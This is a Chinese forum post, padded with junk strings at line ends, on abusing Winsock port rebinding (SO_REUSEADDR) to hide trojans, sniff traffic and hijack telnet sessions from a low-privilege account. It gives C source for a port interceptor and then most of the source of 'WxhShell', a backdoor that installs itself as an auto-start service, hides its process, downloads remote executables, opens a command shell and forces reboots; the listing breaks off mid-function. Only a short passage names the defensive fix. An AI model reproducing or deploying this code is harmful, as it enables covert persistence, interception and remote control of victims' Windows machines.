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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l\_x(BH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :q(D(mK  
L,WkJe3  
  saddr.sin_family = AF_INET; )O9fhj)  
WqR7uiCi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); el}hcAY/RP  
X:U=MWc>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u |'8a1  
k?< i*;7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sbgJw  
~};]k}  
  这意味着什么?意味着可以进行如下的攻击: )=y.^@UT@  
$,.3&zsy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $.``OxJk%  
k{_1r;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &yB%QX{3  
28ja-1dB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?vMK'"  
>B`Cch/ 'U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k]t,q$Vd  
&<`-:x12_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u2 Y N[|V  
re]%f"v:5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CcBQo8!G  
`(P "u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W8< @sq~I  
.#"1bRWpZ  
  #include w<Zdq}{jO  
  #include !X%S)VSMU  
  #include 33*^($bE&  
  #include    5QKRI)XpZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0,:iE\  
  int main() fn3*2  
  { EK^JLvyT  
  WORD wVersionRequested; I; ^xAd3G  
  DWORD ret; SE6>vKR/.  
  WSADATA wsaData; JvKO $^  
  BOOL val; :sU!PF[<  
  SOCKADDR_IN saddr; cLn;,u4  
  SOCKADDR_IN scaddr; H3!,d`D.N  
  int err; ~(stA3]k  
  SOCKET s; u.$Ym  
  SOCKET sc; D% oueW  
  int caddsize; bh{E&1sLh  
  HANDLE mt; [SK2x4  
  DWORD tid;   G}182"#4  
  wVersionRequested = MAKEWORD( 2, 2 ); TViBCed40  
  err = WSAStartup( wVersionRequested, &wsaData ); nWKO8C>  
  if ( err != 0 ) { 7F,07\c  
  printf("error!WSAStartup failed!\n"); ]^Sd9ba  
  return -1; Ga]47pQ"F  
  } 9 aY'0wa  
  saddr.sin_family = AF_INET; pTc$+Z7 3  
   #E*@/ p/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nUiS<D2  
8w03{H 0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O 5g}2  
  saddr.sin_port = htons(23); SL6mNn9c  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xq+!eOT  
  { VEL:JsY  
  printf("error!socket failed!\n"); FX{ ~"  
  return -1; " ]aQ Hh]f  
  } mk#>Dpy?  
  val = TRUE; r3n=<l!Jr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 UAnB=L,.\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  fn4=  
  { 5T~3$kuO  
  printf("error!setsockopt failed!\n"); s;vWR^Ll  
  return -1; 98X!uh'  
  } !y.ei1diw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kEp.0wL'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _Syre6k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v]B0!k&4.  
7xX;MB &  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `Af{H/qiI  
  { :Tlf4y:/w  
  ret=GetLastError(); 83mlZ1jQz  
  printf("error!bind failed!\n"); NYWG#4D  
  return -1; kA?X^nj@  
  } Ll008.#  
  listen(s,2); r~8D\_=s  
  while(1) q >Q:X3  
  { k\sc }z8X  
  caddsize = sizeof(scaddr); qFV;n6&V  
  //接受连接请求 Ly#h|)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~%olCxfO  
  if(sc!=INVALID_SOCKET) \;nD)<)J  
  { 6H(fk1E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G> f^ 2  
  if(mt==NULL) &{X{36  
  { aQ.Iq  
  printf("Thread Creat Failed!\n"); vF5wA-3&t  
  break; v[0DE*p  
  } ( rA\_FOJ  
  } ^VSt9 &  
  CloseHandle(mt); A8=e?%  
  } [5>S-Z  
  closesocket(s); u5xU)l3  
  WSACleanup(); <dju6k7uz  
  return 0; ;cM8EU^.  
  }   1x~%Ydy  
  DWORD WINAPI ClientThread(LPVOID lpParam) $sA,$x:^xI  
  { 8[6ny=S`  
  SOCKET ss = (SOCKET)lpParam; 7Vz[ji  
  SOCKET sc; bBkm]  >  
  unsigned char buf[4096]; !^c:'I>~  
  SOCKADDR_IN saddr; o|R*POM  
  long num; b &\3ps  
  DWORD val; '5|Q<5!o  
  DWORD ret; @4 zi]v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R`0foSq \M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   />dB%*  
  saddr.sin_family = AF_INET; t_[M &  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Jngll  
  saddr.sin_port = htons(23); /'8*aUa  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )GiFkG  
  { {:};(oz)f  
  printf("error!socket failed!\n"); mF6@Y[/B  
  return -1; Wrf^O2  
  } !ol hZ  
  val = 100; 4A\BGD*5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U^E  
  { p9FA_(`^  
  ret = GetLastError(); uE,i-g0$Id  
  return -1; blKDQ~T2  
  } %v?jG(o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sDaT[).Hm  
  { Nz(c"3T;  
  ret = GetLastError(); SR&(HH$  
  return -1; .4S^nP  
  } 9IS1.3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?$"x^=te7  
  { Yv#J`b@y  
  printf("error!socket connect failed!\n"); LG/=+[\{E  
  closesocket(sc); rh:s 7  
  closesocket(ss); VTy,43<  
  return -1; ZI2K-z'e  
  } w6WGFQ_%  
  while(1) o 1 hdO  
  { {#dp-5V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8k+q7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vh1 Ma<cx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p^pQZ6-  
  num = recv(ss,buf,4096,0); "VT{1(]t  
  if(num>0) OCbQB5k3  
  send(sc,buf,num,0); Vze!/ED  
  else if(num==0) TnvHO_P,  
  break; kbIY%\QSO  
  num = recv(sc,buf,4096,0); JEK%yMj  
  if(num>0) F"B<R~  
  send(ss,buf,num,0); Sa h<sb=  
  else if(num==0) }$&T O$LX  
  break; mr{k>Un\  
  } %:'1_@Ot 2  
  closesocket(ss); @!L@UP0  
  closesocket(sc); Ak\D6eHcB  
  return 0 ; 4*N@=v  
  } %KabyvOl)  
/?.r!Cp  
JqVBT+:  
========================================================== _H^^2#wc/  
HobGl0<y  
下边附上一个代码,,WXhSHELL N[+o[%A  
A:8FJ3'  
========================================================== d+YVyw.z  
Q8}TNJsU  
#include "stdafx.h" \jF" nl  
K^]?@oHO  
#include <stdio.h> ;3.T* ?|o  
#include <string.h> #"=yQZ6Y  
#include <windows.h> OUBgBr   
#include <winsock2.h> y]QQvCJr3d  
#include <winsvc.h> |*]X\UE  
#include <urlmon.h> 323yAF  
*hk{q/*Qw  
#pragma comment (lib, "Ws2_32.lib") l(k rUv  
#pragma comment (lib, "urlmon.lib") |h^G$guw  
vjs|!O=oH  
#define MAX_USER   100 // 最大客户端连接数 gNEzlx8A  
#define BUF_SOCK   200 // sock buffer H649J)v+m  
#define KEY_BUFF   255 // 输入 buffer JL]k:i^`A  
cjy0s+>>  
#define REBOOT     0   // 重启 y7;XOPm  
#define SHUTDOWN   1   // 关机 #cp$ltY  
, IMT '*  
#define DEF_PORT   5000 // 监听端口 zal3j^  
(zM+7tJH  
#define REG_LEN     16   // 注册表键长度 43}&w.AS  
#define SVC_LEN     80   // NT服务名长度 Q8DQ .C  
G +nY}c  
// 从dll定义API [kp7LA"`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %CsTB0Y7n,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AT8B!m   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y bn=Gy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mTXNHvv  
8eS@<[[F#  
// wxhshell配置信息 |j5A U  
struct WSCFG { T_oW)G  
  int ws_port;         // 监听端口 654jS!  
  char ws_passstr[REG_LEN]; // 口令 ; K)?:  
  int ws_autoins;       // 安装标记, 1=yes 0=no -?%{A%'  
  char ws_regname[REG_LEN]; // 注册表键名 P5 <85t  
  char ws_svcname[REG_LEN]; // 服务名 wNf*/? N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p@NEr,GB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H z < M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Skk3M?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VvM U)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tl/Dq(8JH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X/;"CM  
qed!C  
}; 3$kv%uf{  
x9&tlKKxf  
// default Wxhshell configuration JI[rIL \Ey  
struct WSCFG wscfg={DEF_PORT, N?U&(@p  
    "xuhuanlingzhe", `M pC<sit  
    1, PE;0 jgsiI  
    "Wxhshell", qI V`zZc  
    "Wxhshell", 2)I'5 ?I  
            "WxhShell Service", G.q^Zd#.T  
    "Wrsky Windows CmdShell Service", v;F+fOo  
    "Please Input Your Password: ", T h- vG  
  1, rY_C3;B  
  "http://www.wrsky.com/wxhshell.exe", Bu >yRL=*  
  "Wxhshell.exe" c;t(j'k`  
    }; um0}`Xq^  
%BYlbEx  
// 消息定义模块 @=zBF'<.9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n]ppO U|[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DRmh(T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BI]ut |Qw  
char *msg_ws_ext="\n\rExit."; dXK~ Z:  
char *msg_ws_end="\n\rQuit."; <2@<r t{  
char *msg_ws_boot="\n\rReboot..."; ?BWvF]p5/  
char *msg_ws_poff="\n\rShutdown..."; - 5-SlQu  
char *msg_ws_down="\n\rSave to "; I3E8vi%B.  
:#&U95EC0  
char *msg_ws_err="\n\rErr!"; T=p}By3a  
char *msg_ws_ok="\n\rOK!"; ~E6+2t*  
@Qsg.9N3K  
char ExeFile[MAX_PATH]; ,w58n%)H  
int nUser = 0; +KwF U  
HANDLE handles[MAX_USER]; e[ k;SSs  
int OsIsNt; >0;"qT  
HI?~t| [y  
SERVICE_STATUS       serviceStatus; %Pvb>U(Xs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r`E1<aCr|  
4oa P"T@6  
// 函数声明 {ZIFj.2  
int Install(void); Mp @(/  
int Uninstall(void); ,E8>:-boL  
int DownloadFile(char *sURL, SOCKET wsh); Y"\T*lKa  
int Boot(int flag); 3<' Q`H>  
void HideProc(void); 3L!&~'.Ro  
int GetOsVer(void); nTtt$I@hW  
int Wxhshell(SOCKET wsl); yNMwd.r[  
void TalkWithClient(void *cs); I3[RaZ2z{  
int CmdShell(SOCKET sock); "?0 G^zu  
int StartFromService(void); {j=hQL3  
int StartWxhshell(LPSTR lpCmdLine); KZ >"L  
tIy/QN_42  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2mp>Mn~K^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E~O>m8hF  
)I UWM  
// 数据结构和表定义 .N><yQ-j3'  
SERVICE_TABLE_ENTRY DispatchTable[] = ^fiRRFr[  
{ md +`#-D\O  
{wscfg.ws_svcname, NTServiceMain}, czsoD) N  
{NULL, NULL} SFPIr0 u  
}; ;@-5lCvC(+  
/t6u"I~  
// 自我安装 Hr,gV2n  
int Install(void) 4y}a,  
{ Y&Vbf>Hi+  
  char svExeFile[MAX_PATH]; mE@o27  
  HKEY key; /g- X=|?F  
  strcpy(svExeFile,ExeFile); GDQg:MgX  
2uR4~XjF  
// 如果是win9x系统,修改注册表设为自启动 ]~ 8N  
if(!OsIsNt) { <.B > LU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mt]YY<l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xcRrI|?eC  
  RegCloseKey(key); Jz8#88cY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j\L$dPZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \^W?   
  RegCloseKey(key); Oy`\8*Uy__  
  return 0; =xWW+w!r  
    } dSD}NM  
  } D~?*Xv]s ~  
} n[S*gX0  
else { 7XC}C+  
pQ`L=#WM  
// 如果是NT以上系统,安装为系统服务 >;U%~yy}qc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q9z!g/,d/  
if (schSCManager!=0) zyn =Xv@p  
{ B-p5;h>  
  SC_HANDLE schService = CreateService K>JU/(  
  ( kT=|tQ@  
  schSCManager, ' g!_Flk  
  wscfg.ws_svcname, NP`ll0s  
  wscfg.ws_svcdisp, ?B:wV?-`  
  SERVICE_ALL_ACCESS, eOO*gM=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MP&4}De  
  SERVICE_AUTO_START, U~@B%Msb L  
  SERVICE_ERROR_NORMAL, :H:}t>X6Vo  
  svExeFile, /*2W?ZM~H  
  NULL, q$*_C kT  
  NULL, 8$tpPOhzb  
  NULL, ]1$AAmQH  
  NULL, ),FN29mZu  
  NULL 3>3ZfFC  
  ); KEB>}_[  
  if (schService!=0) /FZ )ej\  
  { j|8{Vyqd  
  CloseServiceHandle(schService); U,}T ]J  
  CloseServiceHandle(schSCManager); T $]L 5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >a~FSZf  
  strcat(svExeFile,wscfg.ws_svcname); \V\ET  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TbM*?\7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AQGE(%X  
  RegCloseKey(key); `,=p\g|D  
  return 0; ?bi^h/ f  
    } qiJ;v1  
  } j 0NPd^  
  CloseServiceHandle(schSCManager); <[??\YOc  
} lFt{:HfX-  
} 5]ob;tAm  
e%7P$.  
return 1; aV#;o9H{  
} 9cPucKuj  
"Z?":|%7  
// 自我卸载 g+F_M  
int Uninstall(void) SvrV5X  
{ KAEpFobYo  
  HKEY key; U.jMK{  
WuXRL}!\,  
if(!OsIsNt) { mw.aavB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @D{[Hj`<  
  RegDeleteValue(key,wscfg.ws_regname); !-Q!/?  
  RegCloseKey(key); {D.0_=y~2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 45JLx?rN_  
  RegDeleteValue(key,wscfg.ws_regname); +@v} (  
  RegCloseKey(key); 2xm?,p`  
  return 0; Y0'^S<ox  
  } #Jb$AA! z  
} :|( B[  
} $ $+z^%'_  
else { O/@[VPf  
[$+61n}.12  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ho<#i(  
if (schSCManager!=0) nXW1:  
{ !9Xex?et  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c67!OHumP  
  if (schService!=0) cne[-E  
  { Kwau:_B  
  if(DeleteService(schService)!=0) { 1 .k}gl0<  
  CloseServiceHandle(schService); ~kFRy{z  
  CloseServiceHandle(schSCManager); GoXHVUyp  
  return 0; Z)~4)71Y:  
  } B}T72!a  
  CloseServiceHandle(schService); %uMsXa  
  } =~*u(0sJa  
  CloseServiceHandle(schSCManager); -p~B -,  
} 0nn# U  
} V!!'S h  
_Y~?.hs^  
return 1; v:b%G?o  
} |9JYg7<  
I<#kw)W!  
// 从指定url下载文件 4K% YS  
int DownloadFile(char *sURL, SOCKET wsh) "fwuvT 1  
{ Yq.@7cJ  
  HRESULT hr; ,^T2hY`  
char seps[]= "/";  5 Ep  
char *token; 3<lDsb(}0A  
char *file; yV`vu/3K  
char myURL[MAX_PATH]; /iy/2x28>  
char myFILE[MAX_PATH]; @UBp;pb}=h  
]sE^=;Pv?  
strcpy(myURL,sURL); g9.hR8X  
  token=strtok(myURL,seps); M?97F!\U  
  while(token!=NULL) 8i"fhN3?Y  
  { Rh^$0Q*2  
    file=token; O^ hV<+CX  
  token=strtok(NULL,seps); ]e9kf$'  
  } I}{eYXh  
0U~JSmj:2K  
GetCurrentDirectory(MAX_PATH,myFILE); }%|OnEk"  
strcat(myFILE, "\\"); <9vkiEo  
strcat(myFILE, file); }zi6F.  
  send(wsh,myFILE,strlen(myFILE),0); ~yg9ZM  
send(wsh,"...",3,0);  _^ZII  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {:cA'6f.b  
  if(hr==S_OK) 8'62[e|=7[  
return 0; Yzz8:n  
else To95WG7G  
return 1; 2Ev,dWV  
+!wc(N[(2  
} xDS9gGr  
=X):Zi   
// 系统电源模块 %0'f`P6  
int Boot(int flag) oKiu6=  
{ &aU+6'+QXB  
  HANDLE hToken; 8iB}a\]B  
  TOKEN_PRIVILEGES tkp; uNDkK o<M  
Z )I4U  
  if(OsIsNt) { 1OKJE(T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~<3yTl>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |,crQ'N'  
    tkp.PrivilegeCount = 1; }W J`q`g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @(L|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _L ].n)b  
if(flag==REBOOT) { M~4!gKs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~f:fOrLE#  
  return 0; }M@pdE  
} 2J5dZYW  
else { 8h=XQf6k0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c@P,  
  return 0; > im4'-  
} #;)7~69  
  } ;DOz92X94  
  else { TfOZ>uR"g  
if(flag==REBOOT) { O_q_O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s&l[GKR  
  return 0; PsVA>Q,4!.  
} mCo5 Gdt  
else {  u[u=:Y+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uBXI*51{  
  return 0; b~p <   
} \$I )}  
} e# DAa  
g  YZgo  
return 1; {u5@Yp  
} ? "gy`oCv  
6r`g+Js/  
// win9x进程隐藏模块 6)8']f  
void HideProc(void) +}!eAMQ  
{ VI4d/2e  
R.7" ZG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <5 +?&i  
  if ( hKernel != NULL ) {>qCZ#E5WO  
  {  i.]}ooI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &N#)(rQ1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ! ^W|;bq  
    FreeLibrary(hKernel); 4#T'Fy].  
  } aVlHY E  
?!ig/ufZ  
return; ,DjZDw  
} u'C4d6\wS  
a ]*^uEs  
// 获取操作系统版本 DRnXo-Aaj  
int GetOsVer(void) -p 1arA  
{ `@90b 4u  
  OSVERSIONINFO winfo; l40$}!!<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6 eBQ9XV  
  GetVersionEx(&winfo); GZ%R fKyQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ETIf x)B-  
  return 1; X$aMf &x  
  else )c*~Y=f  
  return 0; z t1Q_;  
} ` mi!"pmw  
m-:k]9I  
// 客户端句柄模块 Oj2[(7 mO/  
int Wxhshell(SOCKET wsl) TCYnErqk  
{ (]JJ?aAF  
  SOCKET wsh; %+.]>''a  
  struct sockaddr_in client; S'WmPv  
  DWORD myID; _MR2,mC  
>2rFURcD  
  while(nUser<MAX_USER) {>:2Ff]O:  
{ cIX59y#7  
  int nSize=sizeof(client); :p{iBDA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f,$CiZ"  
  if(wsh==INVALID_SOCKET) return 1; `4o;Lz~  
&45.*l|mo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9H<:\-:  
if(handles[nUser]==0) o8" [6Ys  
  closesocket(wsh); c}Qc2D3*  
else 'K`)q6m  
  nUser++; #X)s=Y&5!T  
  } V3-LVgM%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $?GF]BT  
zUh(b=,  
  return 0; D -jew&B  
} ,UP6.C14  
R'{V&H^Z  
// 关闭 socket UY==1\  
void CloseIt(SOCKET wsh) lfhB2^ ^  
{ ZE :oK   
closesocket(wsh); Deam%)bXM]  
nUser--; b~|B(lL6Xm  
ExitThread(0); au8) G_A  
} 2XE4w# [j  
r"n)I$  
// 客户端请求句柄 h'bxgIl'`  
void TalkWithClient(void *cs) Bg3^BOT  
{ @=9QV3D  
W&"FejD  
  SOCKET wsh=(SOCKET)cs; !vsUL-  
  char pwd[SVC_LEN]; m?csake.Me  
  char cmd[KEY_BUFF]; Pvtf_Qo^  
char chr[1]; ' ft  |  
int i,j; X9P-fF?0  
PBUc9/  
  while (nUser < MAX_USER) { r1[0#5kJ;J  
2@ad! h  
if(wscfg.ws_passstr) { -Oo$\=d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F8pLA@7[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /5o~$S  
  //ZeroMemory(pwd,KEY_BUFF); "e(N h%t  
      i=0; q[+];  
  while(i<SVC_LEN) { #):FXB$a  
/g_}5s-Z  
  // 设置超时 6Us#4 v,  
  fd_set FdRead; 55#H A?cR  
  struct timeval TimeOut; $`uL^ hlj]  
  FD_ZERO(&FdRead); uv@4/M`  
  FD_SET(wsh,&FdRead); OaEOk57%de  
  TimeOut.tv_sec=8; D3_,2  
  TimeOut.tv_usec=0; Q=+KnE=h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <@?bYp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Uzc`,iV$  
WB= gN:?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S]<Hx_[}  
  pwd=chr[0]; NZ Xmrc{S  
  if(chr[0]==0xd || chr[0]==0xa) { :+u?A  
  pwd=0; b&!X#3(KT  
  break; $idYG<],  
  } @)1u  
  i++; <)rol  
    } Oh|Hy/&6W  
j/9'L^]  
  // 如果是非法用户,关闭 socket M[X& Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8&3G|m1-2  
} m:'fk;khN  
N!,@}s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zW\&q!`IRP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #t;@x_2yD\  
kQYX[e7n  
while(1) { d/"e3S1  
7VR+EV  
  ZeroMemory(cmd,KEY_BUFF); .~Td /o7  
VG)kPKoi  
      // 自动支持客户端 telnet标准   ba ,2.|  
  j=0; t,&1~_9  
  while(j<KEY_BUFF) { ]A'E61t<n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B[8  
  cmd[j]=chr[0]; { c]y<q  
  if(chr[0]==0xa || chr[0]==0xd) { H1N%uk=kV  
  cmd[j]=0; rR/PnVup  
  break; >R :Bkf-  
  } O[$ &]>x]]  
  j++; 8E|S`I  
    } (A?/D!y  
wVp  
  // 下载文件 v\&Wb_;A  
  if(strstr(cmd,"http://")) { }" A.[9 b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZXp=QH+f  
  if(DownloadFile(cmd,wsh)) V,lz}&3L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F(mm0:lT  
  else )/Ul" QF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c\7~_w2  
  } hbn2(e;FZ  
  else { IRD?.K]*  
|LWG7 ZE  
    switch(cmd[0]) { {8'I+-  
  iFpJ /L  
  // 帮助 .]P@{T||Y  
  case '?': { >=$( ,8"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 85m_jmh[  
    break; TTu<~GH  
  } !@5B:n*  
  // 安装 EE-jU<>|  
  case 'i': { ]Z6==+mCP  
    if(Install()) RP!X 5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %i$]S`A}  
    else 'f]\@&Np  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bfhap(F~(e  
    break; ~:v" TuuK  
    } n YWS'i@  
  // 卸载 ]|'Mf;  
  case 'r': { xV}-[W5sr'  
    if(Uninstall()) (@[c;+x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9F@Q  
    else @LqLtr@A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xmsw'\  
    break; 1UT&kD!si  
    } (w `9*1NO  
  // 显示 wxhshell 所在路径 ]+Ik/+Nz  
  case 'p': { wgp{P>oBX  
    char svExeFile[MAX_PATH]; 9/'zk  
    strcpy(svExeFile,"\n\r"); aOIE9wO  
      strcat(svExeFile,ExeFile); -YPUrU[)  
        send(wsh,svExeFile,strlen(svExeFile),0); :/A3l=}iV  
    break; EA) K"C  
    } G&y< lh  
  // 重启 ;%{REa  
  case 'b': { PS7ta?V QC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XmJu{RbS  
    if(Boot(REBOOT)) <xv@us7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G AI( =  
    else { &>,c..Ke  
    closesocket(wsh); Ahv%Q%m%2  
    ExitThread(0); !#xk?LyB  
    } )! +~q!A  
    break; P;G Rk6  
    } sba+J:#w  
  // 关机 /?C}PM  
  case 'd': { )\ow/XPE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |L%}@e Vw_  
    if(Boot(SHUTDOWN)) `v) :|Q  
